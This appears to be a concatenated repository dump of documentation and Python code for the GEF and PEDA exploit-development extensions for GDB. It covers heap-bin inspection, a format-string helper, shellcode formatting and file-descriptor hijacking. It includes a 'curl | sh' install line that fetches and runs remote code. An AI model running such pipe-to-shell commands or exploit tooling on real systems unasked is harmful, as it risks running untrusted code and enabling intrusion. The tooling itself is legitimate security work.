tbp = tbreak 62 | tba = thbreak 63 | pa = advance 64 | ptc = finish 65 | t = stepi 66 | p = nexti 67 | g = gef run 68 | uf = disassemble 69 | ``` 70 | 71 | Or here are some `PEDA` aliases for people used to using `PEDA` who made the 72 | smart move to `GEF`. 73 | 74 | ``` 75 | # some peda aliases 76 | telescope = dereference 77 | start = entry-break 78 | stack = dereference $sp 10 79 | argv = show args 80 | kp = info stack 81 | findmem = search-pattern 82 | ``` 83 | 84 | The aliases will be loaded next time you load GDB (and `GEF`). Or you can force 85 | `GEF` to reload the settings with the command: 86 | 87 | ``` 88 | gef➤ gef restore 89 | ``` 90 | -------------------------------------------------------------------------------- /gef/docs/commands/ida-interact.md: -------------------------------------------------------------------------------- 1 | ## Command ida-interact ## 2 | 3 | 4 | `gef` provides a simple XML-RPC client designed to communicate with a server 5 | running inside a specific IDA Python plugin, called `ida_gef_xmlrpc.py` (which 6 | can be downloaded freely 7 | [here](https://github.com/hugsy/stuff/blob/master/ida_scripts/ida_gef_xmlrpc.py)). 8 | 9 | Simply download this script, and run it inside IDA. When the server is running, 10 | you will see a text in the Output Window such as: 11 | 12 | ``` 13 | [+] Creating new thread for XMLRPC server: Thread-1 14 | [+] Starting XMLRPC server: 0.0.0.0:1337 15 | [+] Registered 6 functions. 16 | ``` 17 | 18 | This indicates that the XML-RPC server is ready and listening. 19 | 20 | `gef` can interact with it via the command `ida-interact`. This command receives 21 | as first argument the name of the function to execute, all the other arguments 22 | are the arguments of the remote function. 23 | 24 | To enumerate the functions available, simply run 25 | ``` 26 | gef➤ ida-interact -h 27 | ``` 28 | ![gef-ida-help](https://i.imgur.com/JFNBfjY.png) 29 | 30 | Now, to execute an RPC, invoke the command `ida-interact` on the desired method, 31 | with its arguments (if required). 32 | 33 | 34 | Now, to execute an RPC, invoke the command `ida-interact` on the desired method, 35 | with its arguments (if required). 36 | 37 | For example: 38 | ``` 39 | gef➤ ida ida.set_color 0x40061E 40 | ``` 41 | will edit the remote IDB and set the background color of the location 0x40061E 42 | with the color 0x005500 (default value). 43 | 44 | Another convenient example is to add comment inside IDA directly from `gef`: 45 | ``` 46 | gef➤ ida ida.add_comment 0x40060C "<<<--- stack overflow" 47 | [+] Success 48 | ``` 49 | 50 | Result: 51 | 52 | ![gef-ida-example](https://i.imgur.com/jZ2eWG4.png) 53 | 54 | Please use the `--help` argument to see all the methods available and their 55 | syntax. 56 | 57 | ## `hijack-fd` command ## 58 | 59 | `gef` can be used to modify file descriptors of the debugged process. The new 60 | file descriptor can point to a file, a pipe, a socket, a device etc. 61 | 62 | To use it, simply run 63 | ``` 64 | gef➤ hijack-fd FDNUM NEWFILE 65 | ``` 66 | 67 | For instance, 68 | ``` 69 | gef➤ hijack-fd 1 /dev/null 70 | ``` 71 | Will modify the current process file descriptors to redirect STDOUT to 72 | `/dev/null`. 73 | 74 | Check this asciicast for visual example: 75 | [![asciicast](https://asciinema.org/a/2o9bhveyikb1uvplwakjftxlq.png)](https://asciinema.org/a/2o9bhveyikb1uvplwakjftxlq) 76 | 77 | 78 | -------------------------------------------------------------------------------- /peda/python23-compatibility.md: -------------------------------------------------------------------------------- 1 | # Overview 2 | 3 | PEDA supports Python 2 and Python 3 using the 4 | [six](https://pypi.python.org/pypi/six) library. To make sure code runs on both 5 | Python 2 and Python 3, make sure to keep the following in mind. 6 | 7 | ## Division 8 | 9 | For integer division, use the `//` operator instead of `/`. In Python 3, the `/` operator returns a `float`. 10 | 11 | In Python 3: 12 | 13 | ```python 14 | >>> 5 / 2 15 | 2.5 16 | >>> type(5 / 2) 17 | 18 | ``` 19 | 20 | ## Type checking 21 | 22 | To check if something is a string: 23 | 24 | ```python 25 | isinstance(obj, six.string_types) 26 | ``` 27 | 28 | To check if something is an integer type: 29 | 30 | ```python 31 | isinstance(x, six.integer_types) 32 | ``` 33 | 34 | ## Strings 35 | 36 | In Python 2, `bytes` is an alias for `str`. In Python 3, `str` is a unicode 37 | type and `bytes` is used for a sequece of arbitrary bytes. Use a leading 'b' to 38 | signify that a string is a `bytes` object. 39 | 40 | ```python 41 | >>> 'Normal string' 42 | 'Normal string' 43 | >>> b'arbitrary bytes \x90\x90' 44 | b'arbitrary bytes \x90\x90' 45 | ``` 46 | 47 | To convert between `str` to `bytes`: 48 | 49 | ```python 50 | >>> 'hi there'.encode('utf-8') 51 | b'hi there' 52 | >>> b'some string'.decode('utf-8') 53 | 'some string' 54 | ``` 55 | 56 | Do not mix `bytes` and `str` with each other with basic string functions. The 57 | following is okay: 58 | 59 | ```python 60 | 61 | >>> "abc".replace("a", "f") 62 | 'fbc' 63 | >>> b"abc".replace(b"a", b"f") 64 | b'fbc' 65 | ``` 66 | 67 | Mixing types in Python 3 will throw an exception: 68 | 69 | ```python 70 | >>> b"abc".replace("a", "f") 71 | Traceback (most recent call last): 72 | File "", line 1, in 73 | TypeError: expected bytes, bytearray or buffer compatible object 74 | 75 | ``` 76 | 77 | In Python 2, indexing into a `str` returns a `str` of length 1. In Python 3, indexing into a `bytes` returns an `int`. This causes a problem when iterating. To solve this, use the `bytes_iterator` from `utils.py`. 78 | 79 | ```python 80 | # In Python 2: 81 | >>> s = b'hello' 82 | >>> s 83 | 'hello' 84 | >>> s[0] 85 | 'h' 86 | 87 | # In Python 3: 88 | >>> s = b'hello' 89 | >>> s 90 | b'hello' 91 | >>> s[0] 92 | 104 93 | 94 | # Solution: 95 | >>> for c in bytes_iterator(b'hi'): print(c) 96 | ... 97 | b'h' 98 | b'i' 99 | ``` 100 | 101 | ## Encodings 102 | 103 | Encode (and decode) strings into hex: 104 | 105 | ```python 106 | >>> codecs.encode(b'abcdef', 'hex') 107 | b'616263646566' 108 | >>> codecs.decode('616263646566', 'hex') 109 | b'abcdef' 110 | ``` 111 | -------------------------------------------------------------------------------- /gef/docs/commands/heap.md: -------------------------------------------------------------------------------- 1 | ## Command heap ## 2 | 3 | `heap` command provides information on the heap chunk specified as argument. For 4 | the moment, it only supports GlibC heap format (see 5 | [this link](http://code.woboq.org/userspace/glibc/malloc/malloc.c.html#malloc_chunk) 6 | for `malloc` structure information). Syntax to the 7 | subcommands is pretty straight forward : 8 | 9 | ``` 10 | gef➤ heap 11 | ``` 12 | 13 | 14 | ### `heap chunk` command ### 15 | 16 | This command gives visual information of a Glibc malloc-ed chunked. Simply 17 | provide the address to the user memory pointer of the chunk to show the 18 | information related to the current chunk: 19 | 20 | ``` 21 | gef➤ heap chunk 22 | ``` 23 | 24 | ![heap-chunks](https://i.imgur.com/SAWNptW.png) 25 | 26 | 27 | 28 | ### `heap arenas` command ### 29 | 30 | Multi-threaded programs have different arenas, and the only knowledge of the 31 | `main_arena` is not enough. 32 | `gef` therefore provides the `arena` sub-commands to help you list all the 33 | arenas allocated in your program **at the moment you call the command**. 34 | 35 | ![heap-arena](https://i.imgur.com/ajbLiCF.png) 36 | 37 | 38 | 39 | ### `heap bins` command ### 40 | 41 | Glibc bins are the structures used for keeping tracks of free-ed chunks. The 42 | reason for that is that allocation (using `sbrk`) is costly. So Glibc uses those 43 | bins to remember formely allocated chunks. Because bins are structured in single 44 | or doubly linked list, I found that quite painful to always interrogate `gdb` to 45 | get a pointer address, dereference it, get the value chunk, etc... So I 46 | decided to implement in `gef` the `heap bins` sub-command, which allows to get info on: 47 | 48 | - `fastbins` 49 | - `bins` 50 | - `unsorted` 51 | - `small bins` 52 | - `large bins` 53 | 54 | 55 | 56 | #### `heap bins fast` command #### 57 | 58 | When exploiting heap corruption vulnerabilities, it is sometimes convenient to 59 | know the state of the `fastbinsY` array. 60 | The `fast` sub-command helps by displaying the list of fast chunks in this 61 | array. Without any other argument, it will display the info of the `main_arena` 62 | arena. It accepts an optional argument, the address of another arena (which you 63 | can easily find using `heap arenas`). 64 | 65 | ``` 66 | gef➤ heap bins fast 67 | [+] FastbinsY of arena 0x7ffff7dd5b20 68 | Fastbin[0] 0x00 69 | Fastbin[1] → FreeChunk(0x600310) → FreeChunk(0x600350) 70 | Fastbin[2] 0x00 71 | Fastbin[3] 0x00 72 | Fastbin[4] 0x00 73 | Fastbin[5] 0x00 74 | Fastbin[6] 0x00 75 | Fastbin[7] 0x00 76 | Fastbin[8] 0x00 77 | Fastbin[9] 0x00 78 | ``` 79 | 80 | 81 | #### Other `heap bins X` command #### 82 | 83 | All the other subcommands for the `heap bins` works the same way than `fast`. If 84 | no argument is provided, `gef` will fall back to `main_arena`. Otherwise, it 85 | will use the address pointed as the base of the `malloc_state` structure and 86 | print out information accordingly. 87 | 88 | 89 | -------------------------------------------------------------------------------- /gef/docs/commands/context.md: -------------------------------------------------------------------------------- 1 | ## Command context ## 2 | 3 | 4 | ![gef-context](https://i.imgur.com/aZiG8Yb.png) 5 | 6 | 7 | `gef` (not unlike `PEDA` or `fG! famous gdbinit`) provides comprehensive context 8 | menu when hitting a breakpoint. 9 | 10 | * The register context box displays current register values. Values in red 11 | indicate that this register has its value changed since the last 12 | breakpoint. It makes it convenient to track values. Register values can be 13 | also accessed and/or dereferenced through the `reg` command. 14 | 15 | * The stack context box shows the 10 (by default but can be tweaked) entries in 16 | memory pointed by the stack pointer register. If those values are pointers, 17 | they are successively dereferenced. 18 | 19 | * The code context box shows the 10 (by default but can be tweaked) next 20 | instructions to be executed. 21 | 22 | 23 | ### Editing context layout ### 24 | 25 | `gef` allows you to configure your own setup for the display, by re-arranging 26 | the order with which contexts will be displayed. 27 | 28 | ``` 29 | gef➤ gef config context.layout 30 | ``` 31 | 32 | There are currently 6 panes that can be displayed: 33 | 34 | * `regs` 35 | * `stack` 36 | * `code` 37 | * `source` 38 | * `threads` 39 | * `trace` 40 | 41 | To prevent one pane to be displayed, simply use the `context.layout` setting, 42 | and prepend the pane name with `-` or `!`, such as: 43 | 44 | ``` 45 | gef➤ gef config context.layout "regs stack code -source -threads -trace" 46 | ``` 47 | Will not display the `source`, `threads`, and `trace` panes. 48 | 49 | 50 | ### Redirecting context output to another tty/file ### 51 | 52 | By default, the `gef` context will be displayed on the current TTY. This can be 53 | overridden by setting `context.redirect` variable to have the context sent to 54 | another pane. 55 | 56 | To do so, select the TTY/file/socket/etc. you want the context redirected to 57 | with `gef config`. 58 | 59 | Enter the command `tty` in the prompt: 60 | ``` 61 | $ tty 62 | /dev/pts/0 63 | ``` 64 | 65 | Then tell `gef` about it! 66 | ``` 67 | gef➤ gef config context.redirect /dev/pts/0 68 | ``` 69 | 70 | Enjoy: 71 | ![gef-context-redirect-pane](https://i.imgur.com/sWlX37q.png) 72 | 73 | 74 | To go back to normal, remove the value: 75 | ``` 76 | gef➤ gef config context.redirect "" 77 | ``` 78 | 79 | ### Examples ### 80 | 81 | * Display the code pane first, then register, and stack: 82 | ``` 83 | gef➤ gef config context.layout "code regs stack -source -threads -trace" 84 | ``` 85 | 86 | * Stop showing the context panes when breaking: 87 | ``` 88 | gef➤ gef config context.enable 0 89 | ``` 90 | 91 | * Clear the screen before showing the context panes when breaking: 92 | ``` 93 | gef➤ gef config context.clear_screen 1 94 | ``` 95 | 96 | * Automatically dereference the registers in the `regs` pane (like `PEDA`): 97 | ``` 98 | gef➤ gef config context.show_registers_raw 0 99 | ``` 100 | -------------------------------------------------------------------------------- /gef/docs/config.md: -------------------------------------------------------------------------------- 1 | ## Install GEF 2 | 3 | There is **NO mandatory dependency** to have `gef` running contrarily to other projects. 4 | A simple recent GDB compiled with Python scripting support will do. 5 | 6 | 7 | ### Pre-requisites 8 | Only [GDB 7.x+](https://www.gnu.org/s/gdb) is required. It must be compiled with Python 2 or 3 support. 9 | 10 | All recent distributions of Linux now embeds a GDB version compiled with at least Python 2 (although more and more are migrating towards Python 3). 11 | 12 | You can verify it with the following command: 13 | 14 | ```bash 15 | $ gdb -nx -ex 'python print (sys.version)' -ex quit 16 | ``` 17 | 18 | This should display your version of Python compiled with `gdb`. 19 | 20 | For example, with Python2 21 | ```bash 22 | $ gdb -nx -ex 'python print (sys.version)' -ex quit 23 | 2.7.3 (default, Mar 18 2014, 06:31:17) 24 | [GCC 4.6.3] 25 | ``` 26 | 27 | Or Python3 28 | ```bash 29 | $ gdb -nx -ex 'python print (sys.version)' -ex quit 30 | 3.4.0 (default, Apr 11 2014, 13:08:40) 31 | [GCC 4.8.2] 32 | ``` 33 | 34 | If you see an error here, it means that your GDB installation does not support Python. 35 | 36 | 37 | ### Setup from repository 38 | 39 | The best way to use `GEF` is through cloning the git repository from GitHub, and 40 | source the file from your `~/.gdbinit`. 41 | 42 | ```bash 43 | $ git clone https://github.com/hugsy/gef.git # or git pull to update 44 | $ echo 'source /path/to/gef.py' >> ~/.gdbinit 45 | ``` 46 | 47 | ### One-time setup script 48 | 49 | If you only need `GEF` for a one-time environment (VMs, etc.) that do not 50 | have/need `git` installed, just go with: 51 | 52 | ```bash 53 | $ curl -s -L https://github.com/hugsy/gef/raw/master/gef.sh | sh 54 | ``` 55 | 56 | ### Optional dependencies 57 | 58 | A few commands were added to `GEF` to extend its capabilities. It is 59 | highly recommended to install the following modules (but not required): 60 | 61 | - [`capstone`](https://github.com/aquynh/capstone) - disassembly engine 62 | - [`ROPgadget`](https://github.com/JonathanSalwan/ROPgadget) - ROP gadget finder 63 | - [`Ropper`](https://github.com/sashs/Ropper) - an improved version of ROPgadget 64 | - [`unicorn`](https://github.com/unicorn-engine/unicorn) - emulation engine 65 | - [`keystone`](https://github.com/keystone-engine/keystone) - assembly engine 66 | 67 | Some of those modules can be installed through `python-pip`. The following 68 | commands will work for most distributions, but substitute `pip3` for versions of `gdb` compiled with Python 3: 69 | ```bash 70 | $ pip install capstone 71 | $ pip install ropgadget 72 | $ pip install ropper 73 | ``` 74 | 75 | Please refer to each project for installation and troubleshooting guides. As `gef` works out of the box, please do not send Issues to this project if you have problems while installing those modules. 76 | 77 | `gef` will assume the module installations are valid. Otherwise, it will automatically disable all the `gef` commands that require this invalid module. 78 | 79 | 80 | ### Check setup 81 | 82 | To check that `GEF` has been correctly installed, simply start a new `gdb` 83 | session against any binary. 84 | ```bash 85 | $ gdb -q /bin/ls 86 | ``` 87 | 88 | You should see the following header and prompt 89 | ```bash 90 | $ gdb-gef -q /bin/ls 91 | gef loaded, `gef help' to start, `gef config' to configure 92 | 37 commands loaded (15 sub-commands), using Python engine 3.5 93 | Reading symbols from /bin/ls...(no debugging symbols found)...done. 94 | gef➤ 95 | ``` 96 | -------------------------------------------------------------------------------- /gef/docs/commands/pcustom.md: -------------------------------------------------------------------------------- 1 | ## Command pcustom ## 2 | 3 | `gef` provides a way to create and apply to the currently debugged environment, 4 | any new structure (in the C-struct way). On top of simply displaying known 5 | and user-defined structures, it also allows to apply those structures to the 6 | current context. It intends to mimic the very useful 7 | [WinDBG `dt`](https://msdn.microsoft.com/en-us/library/windows/hardware/ff542772(v=vs.85).aspx) 8 | command. 9 | 10 | This is achieved via the command `pcustom` (for `print custom`), or you can use 11 | its alias, `dt` (in reference to the WinDBG command). 12 | 13 | ### Configuration 14 | 15 | New structures can be stored in the location given by the configuration setting: 16 | ``` 17 | gef➤ gef config pcustom.struct_path 18 | ``` 19 | By default, this location is in `$TEMP/gef/structs` (e.g. `/tmp/user/1000/gef/structs`). 20 | The structure can be created as a simple `ctypes` structure, in a file called 21 | `.py`. 22 | 23 | You can naturally set this path to a new location 24 | ``` 25 | gef➤ gef config pcustom.struct_path /my/new/location 26 | ``` 27 | And save this change so you can re-use it directly next time you use `gdb` 28 | ``` 29 | gef➤ gef save 30 | [+] Configuration saved to '~/.gef.rc' 31 | ``` 32 | 33 | 34 | ### Using user-defined structures 35 | 36 | You can list existing custom structures via 37 | ``` 38 | gef➤ dt -l 39 | [+] Listing custom structures: 40 | → struct5 41 | → struct6 42 | ``` 43 | 44 | To create or edit a structure, use `dt -e` to spawn your EDITOR 45 | with the targeted structure. If the file does not exist, `gef` will nicely 46 | create the tree and file, and fill it with a `ctypes` template that you can use 47 | straight away! 48 | ``` 49 | gef➤ dt mystruct_t -e 50 | [+] Creating '/tmp/gef/structs/mystruct_t.py' from template 51 | ``` 52 | 53 | The code can be defined just as any Python (using `ctypes`) code. 54 | 55 | ``` 56 | from ctypes import * 57 | 58 | ''' 59 | typedef struct { 60 | int age; 61 | char name[256]; 62 | int id; 63 | } person_t; 64 | ''' 65 | 66 | class person_t(Structure): 67 | _fields_ = [ 68 | ("age", c_int), 69 | ("name", c_char * 256), 70 | ("id", c_int), 71 | ] 72 | 73 | ``` 74 | 75 | `pcustom` requires at least one argument, which is the name of the 76 | structure. With only one argument, `pcustom` will dump all the fields of this 77 | structure. 78 | 79 | ``` 80 | gef➤ dt person_t 81 | +0000 age c_int (0x4) 82 | +0004 name c_char_Array_256 (0x100) 83 | +0104 id c_int (0x4) 84 | ``` 85 | 86 | 87 | 88 | By providing an address or a GDB symbol, `gef` will apply this user-defined 89 | structure to the specified address: 90 | 91 | ![gef-pcustom-with-address](https://i.imgur.com/vWGnu5g.png) 92 | 93 | This means that we can now create very easily new user-defined structures 94 | 95 | Watch the demonstration video on Asciinema: 96 | 97 | [![asciicast](https://asciinema.org/a/bhsguibtf4iqyyuomp3vy8iv2.png)](https://asciinema.org/a/bhsguibtf4iqyyuomp3vy8iv2) 98 | 99 | Additionally, if you have successfully configured your IDA settings (see command 100 | `ida-interact`), you can also directly import the structure(s) that was(were) 101 | reverse-engineered in IDA directly in your GDB session: 102 | 103 | ![ida-structure-examples](https://i.imgur.com/Tnsf6nt.png) 104 | 105 | And then use the command `ida ImportStructs` to import all the structures, or 106 | `ida ImportStruct ` to only import a specific one: 107 | 108 | ``` 109 | gef➤ ida ImportStructs 110 | [+] Success 111 | ``` 112 | 113 | Which will become: 114 | 115 | ![ida-structure-imported](https://i.imgur.com/KVhyopO.png) 116 | 117 | -------------------------------------------------------------------------------- /peda/lib/config.py: -------------------------------------------------------------------------------- 1 | # 2 | # PEDA - Python Exploit Development Assistance for GDB 3 | # 4 | # Copyright (C) 2012 Long Le Dinh 5 | # 6 | # License: see LICENSE file for details 7 | # 8 | 9 | from __future__ import absolute_import 10 | from __future__ import division 11 | from __future__ import print_function 12 | 13 | # change below settings to match your needs 14 | ## BEGIN OF SETTINGS ## 15 | 16 | # external binaries, required for some commands 17 | READELF = "/usr/bin/readelf" 18 | OBJDUMP = "/usr/bin/objdump" 19 | NASM = "/usr/bin/nasm" 20 | NDISASM = "/usr/bin/ndisasm" 21 | 22 | # PEDA global options 23 | OPTIONS = { 24 | "badchars" : ("", "bad characters to be filtered in payload/output, e.g: '\\x0a\\x00'"), 25 | "pattern" : (1, "pattern type, 0 = basic, 1 = extended, 2 = maximum"), 26 | "p_charset" : ("", "custom charset for pattern_create"), 27 | "indent" : (4, "number of ident spaces for output python payload, e.g: 0|4|8"), 28 | "ansicolor" : ("on", "enable/disable colorized output, e.g: on|off"), 29 | "pagesize" : (25, "number of lines to display per page, 0 = disable paging"), 30 | "session" : ("peda-session-#FILENAME#.txt", "target file to save peda session"), 31 | "tracedepth": (0, "max depth for calls/instructions tracing, 0 means no limit"), 32 | "tracelog" : ("peda-trace-#FILENAME#.txt", "target file to save tracecall output"), 33 | "crashlog" : ("peda-crashdump-#FILENAME#.txt", "target file to save crash dump of fuzzing"), 34 | "snapshot" : ("peda-snapshot-#FILENAME#.raw", "target file to save crash dump of fuzzing"), 35 | "autosave" : ("on", "auto saving peda session, e.g: on|off"), 36 | "payload" : ("peda-payload-#FILENAME#.txt", "target file to save output of payload command"), 37 | "context" : ("register,code,stack", "context display setting, e.g: register, code, stack, all"), 38 | "verbose" : ("off", "show detail execution of commands, e.g: on|off"), 39 | "debug" : ("off", "show detail error of peda commands, e.g: on|off"), 40 | "_teefd" : ("", "internal use only for tracelog/crashlog writing") 41 | } 42 | 43 | ## END OF SETTINGS ## 44 | 45 | class Option(object): 46 | """ 47 | Class to access global options of PEDA commands and functions 48 | TODO: save/load option to/from file 49 | """ 50 | options = OPTIONS.copy() 51 | def __init__(self): 52 | """option format: name = (value, 'help message')""" 53 | pass 54 | 55 | 56 | @staticmethod 57 | def reset(): 58 | """reset to default options""" 59 | Option.options = OPTIONS.copy() 60 | return True 61 | 62 | @staticmethod 63 | def show(name=""): 64 | """display options""" 65 | result = {} 66 | for opt in Option.options: 67 | if name in opt and not opt.startswith("_"): 68 | result[opt] = Option.options[opt][0] 69 | return result 70 | 71 | @staticmethod 72 | def get(name): 73 | """get option""" 74 | if name in Option.options: 75 | return Option.options[name][0] 76 | else: 77 | return None 78 | 79 | @staticmethod 80 | def set(name, value): 81 | """set option""" 82 | if name in Option.options: 83 | Option.options[name] = (value, Option.options[name][1]) 84 | return True 85 | else: 86 | return False 87 | 88 | @staticmethod 89 | def help(name=""): 90 | """display help info of options""" 91 | result = {} 92 | for opt in Option.options: 93 | if name in opt and not opt.startswith("_"): 94 | result[opt] = Option.options[opt][1] 95 | return result 96 | -------------------------------------------------------------------------------- /peda/lib/nasm.py: -------------------------------------------------------------------------------- 1 | # 2 | # PEDA - Python Exploit Development Assistance for GDB 3 | # 4 | # Copyright (C) 2012 Long Le Dinh 5 | # 6 | # License: see LICENSE file for details 7 | # 8 | 9 | from __future__ import absolute_import 10 | from __future__ import division 11 | from __future__ import print_function 12 | 13 | import os 14 | from utils import * 15 | import config 16 | 17 | class Nasm(object): 18 | """ 19 | Wrapper class for assemble/disassemble using nasm/ndisassm 20 | """ 21 | def __init__(self): 22 | pass 23 | 24 | @staticmethod 25 | def assemble(asmcode, mode=32): 26 | """ 27 | Assemble ASM instructions using NASM 28 | - asmcode: input ASM instructions, multiple instructions are separated by ";" (String) 29 | - mode: 16/32/64 bits assembly 30 | 31 | Returns: 32 | - bin code (raw bytes) 33 | """ 34 | if not os.path.exists(config.NASM): 35 | error_msg("%s binary not found, please install NASM for asm/rop functions" % config.NASM) 36 | raise UserWarning("missing requirement") 37 | 38 | asmcode = asmcode.strip('"').strip("'") 39 | asmcode = asmcode.replace(";", "\n") 40 | asmcode = ("BITS %d\n" % mode) + asmcode 41 | asmcode = decode_string_escape(asmcode) 42 | asmcode = re.sub("PTR|ptr|ds:|DS:", "", asmcode) 43 | infd = tmpfile() 44 | outfd = tmpfile(is_binary_file=True) 45 | infd.write(asmcode) 46 | infd.flush() 47 | execute_external_command("%s -f bin -o %s %s" % (config.NASM, outfd.name, infd.name)) 48 | infd.close() 49 | 50 | if os.path.exists(outfd.name): 51 | bincode = outfd.read() 52 | outfd.close() 53 | return bincode 54 | # reopen it so tempfile will not complain 55 | open(outfd.name,'w').write('B00B') 56 | return None 57 | 58 | @staticmethod 59 | def disassemble(buf, mode=32): 60 | """ 61 | Disassemble binary to ASM instructions using NASM 62 | - buf: input binary (raw bytes) 63 | - mode: 16/32/64 bits assembly 64 | 65 | Returns: 66 | - ASM code (String) 67 | """ 68 | out = execute_external_command("%s -b %d -" % (config.NDISASM, mode), buf) 69 | return out 70 | 71 | @staticmethod 72 | def format_shellcode(buf, mode=32): 73 | """ 74 | Format raw shellcode to ndisasm output display 75 | "\x6a\x01" # 0x00000000: push byte +0x1 76 | "\x5b" # 0x00000002: pop ebx 77 | 78 | TODO: understand syscall numbers, socket call 79 | """ 80 | def nasm2shellcode(asmcode): 81 | if not asmcode: 82 | return "" 83 | 84 | shellcode = [] 85 | pattern = re.compile("([0-9A-F]{8})\s*([^\s]*)\s*(.*)") 86 | 87 | matches = pattern.findall(asmcode) 88 | for line in asmcode.splitlines(): 89 | m = pattern.match(line) 90 | if m: 91 | (addr, bytes, code) = m.groups() 92 | sc = '"%s"' % to_hexstr(codecs.decode(bytes, 'hex')) 93 | shellcode += [(sc, "0x"+addr, code)] 94 | 95 | maxlen = max([len(x[0]) for x in shellcode]) 96 | text = "" 97 | for (sc, addr, code) in shellcode: 98 | text += "%s # %s: %s\n" % (sc.ljust(maxlen+1), addr, code) 99 | 100 | return text 101 | 102 | out = execute_external_command("%s -b %d -" % (config.NDISASM, mode), buf) 103 | return nasm2shellcode(out) 104 | -------------------------------------------------------------------------------- /gef/docs/faq.md: -------------------------------------------------------------------------------- 1 | # Frequently Asked Questions # 2 | 3 | ## Why use GEF over PEDA? ## 4 | 5 | [PEDA](https://github.com/longld/peda) is a fantastic tool that provides similar 6 | commands to make the exploitation development process smoother. 7 | 8 | However, PEDA suffers from a major drawbacks, which the code is too 9 | fundamentally linked to Intel architectures (x86-32 and x86-64). On the other 10 | hand, not only GEF supports all the architecture supported by GDB 11 | (currently x86, ARM, AARCH64, MIPS, PowerPC, SPARC) but is designed to integrate 12 | new architectures very easily as well! 13 | 14 | Also, PEDA development is quite idle for a few years now, and many new 15 | interesting features a debugger can provide simply do not exist. 16 | 17 | 18 | ## I cannot get GEF to setup!! ## 19 | 20 | GEF will work on any GDB 7.x compiled with Python support. You can view 21 | that commands that failed to load using `gef missing`, but this will not affect 22 | GEF generally. 23 | 24 | If you have problems setting up on your host, please use the 25 | IRC [`freenode##gef`](https://webchat.freenode.net/?channels=##gef) for that. 26 | Note that the GitHub issue section is to be used to **report bugs** and 27 | **GEF issues** (like unexpected crash, improper error handling, weird edge case, 28 | etc.), not a place to ask for help. 29 | 30 | 31 | ## I get a SegFault when starting GDB with GEF ## 32 | 33 | A long standing bug in the `readline` library can make `gef` crash GDB 34 | when displaying certain characters (SOH/ETX). As a result, this would SIGSEGV 35 | GDB as `gef` is loading, a bit like this: 36 | 37 | ``` 38 | root@debian-aarch64:~# gdb -q ./test-bin-aarch64 39 | GEF ready, type `gef' to start, `gef config' to configure 40 | 53 commands loaded, using Python engine 3.4 41 | [*] 5 commands could not be loaded, run `gef missing` to know why. 42 | [+] Configuration from '/root/.gef.rc' restored 43 | Reading symbols from ./bof-aarch64...(no debugging symbols found)...done. 44 | Segmentation fault (core dumped) 45 | ``` 46 | 47 | If so, this can be fixed easily by setting the `gef.readline_compat` variable to 48 | `True` in the `~/.gef.rc` file. Something like this: 49 | 50 | ``` 51 | root@debian-aarch64:~# nano ~/.gef.rc 52 | [...] 53 | [gef] 54 | readline_compat = True 55 | ``` 56 | 57 | You can now use all features of `gef` even on versions of GDB compiled against 58 | old `readline` library. 59 | 60 | 61 | ## Does GEF prevent the use of other GDB plugins? ## 62 | 63 | Definitely not! You can use any other GDB plugin on top of it for an even better 64 | debugging experience. 65 | 66 | Some interesting plugins highly recommended too: 67 | 68 | - [!exploitable](https://github.com/jfoote/exploitable/) 69 | - [Voltron](https://github.com/snare/voltron) 70 | 71 | ![voltron](https://pbs.twimg.com/media/CsSkk0EUkAAJVPJ.jpg:large) 72 | Src: [@rick2600: terminator + gdb + gef + voltron cc: @snare @_hugsy_](https://twitter.com/rick2600/status/775926070566490113) 73 | 74 | 75 | ## GEF says missing modules, but I'm sure I've installed them, what's up with that? ## 76 | 77 | 99.999% of the time, this happens because the module(s) were **not** installed 78 | for the Python version GDB is compiled to work with! For example, GDB is 79 | compiled for Python3 support, but the module(s) was(were) installed using `pip2` 80 | (and therefore Python2). 81 | 82 | To verify this, you can simply start GDB with GEF, which will show you the 83 | Python version currently supported by your GDB, or run the command: 84 | 85 | ```bash 86 | vagrant@kali2-x64:~$ gdb -nx -ex 'python print (sys.version)' -ex quit 87 | 3.5.2+ (default, Dec 13 2016, 14:16:35) 88 | [GCC 6.2.1 20161124] 89 | ``` 90 | 91 | It immediately shows that GDB was compiled for Python3. You have to install the 92 | modules (such as `capstone`, `keystone`, etc.) for this version and it will 93 | work, guaranteed. 94 | 95 | And if this does not work, it is simply that the modules was not installed 96 | properly. To avoid incorrect behavior, if importing the Python module fails, 97 | GEF will simply discard altogether the command that uses it, and it will be 98 | shown when running the `gef missing` command. 99 | 100 | To see the proper stacktrace, simply open a Python interpreter and try importing 101 | the module. This will show you an error. 102 | 103 | 104 | ## I want to contribute, where should I head first? ## 105 | 106 | I would suggest reading thoroughly this documentation, just having a look to the 107 | [CONTRIBUTE](https://github.com/hugsy/gef/blob/master/.github/CONTRIBUTING.md) 108 | file of the project to give you pointers. 109 | 110 | Also a good thing would be to join the `##gef` IRC channel 111 | on [Freenode](https://webchat.freenode.net/?channels=##gef) to get in touch with 112 | the people involved/using it. 113 | -------------------------------------------------------------------------------- /gef/docs/commands.md: -------------------------------------------------------------------------------- 1 | # Features # 2 | 3 | This section will explain in details some non-trivial commands available in `GEF` 4 | with examples and screenshots to make it easier to reproduce. 5 | 6 | __Note__: if you consider the documentation to be imprecise/incomplete, 7 | drop an [Issue](https://github.com/hugsy/gef/issues/86) or better, 8 | a [Pull Request](https://github.com/hugsy/gef/pulls) to the project to help 9 | improving it. 10 | 11 | | Command | Description | 12 | |:-----------|----------------:| 13 | |aslr | View/modify GDB ASLR behavior.| 14 | |assemble | Inline code assemble. Architecture can be set in GEF runtime config (default is x86). (alias: asm) | 15 | |capstone-disassemble | Use capstone disassembly framework to disassemble code. (alias: cs-dis) | 16 | |checksec | Checksec.sh(http://www.trapkit.de/tools/checksec.html) port. | 17 | |context | Display execution context. (alias: ctx)| 18 | |dereference | Dereference recursively an address and display information (alias: telescope, dps)| 19 | |edit-flags | Edit flags in a human friendly way (alias: flags)| 20 | |elf-info | Display ELF header informations.| 21 | |entry-break | Tries to find best entry point and sets a temporary breakpoint on it. (alias: start-break)| 22 | |format-string-helper | Exploitable format-string helper: this command will set up specific breakpoints at well-known dangerous functions (printf, snprintf, etc.), and check if the pointer holding the format string is writable, and susceptible to format string attacks if an attacker can control its content. (alias: fmtstr-helper)| 23 | |gef-alias | GEF defined aliases| 24 | |gef-remote | gef wrapper for the `target remote` command. This command will automatically download the target binary in the local temporary directory (defaut /tmp) and then source it. Additionally, it will fetch all the /proc/PID/maps and loads all its information.| 25 | |heap | Base command to get information about the Glibc heap structure.| 26 | |hexdump | Display arranged hexdump (according to architecture endianness) of memory range.| 27 | |hijack-fd | ChangeFdCommand: redirect file 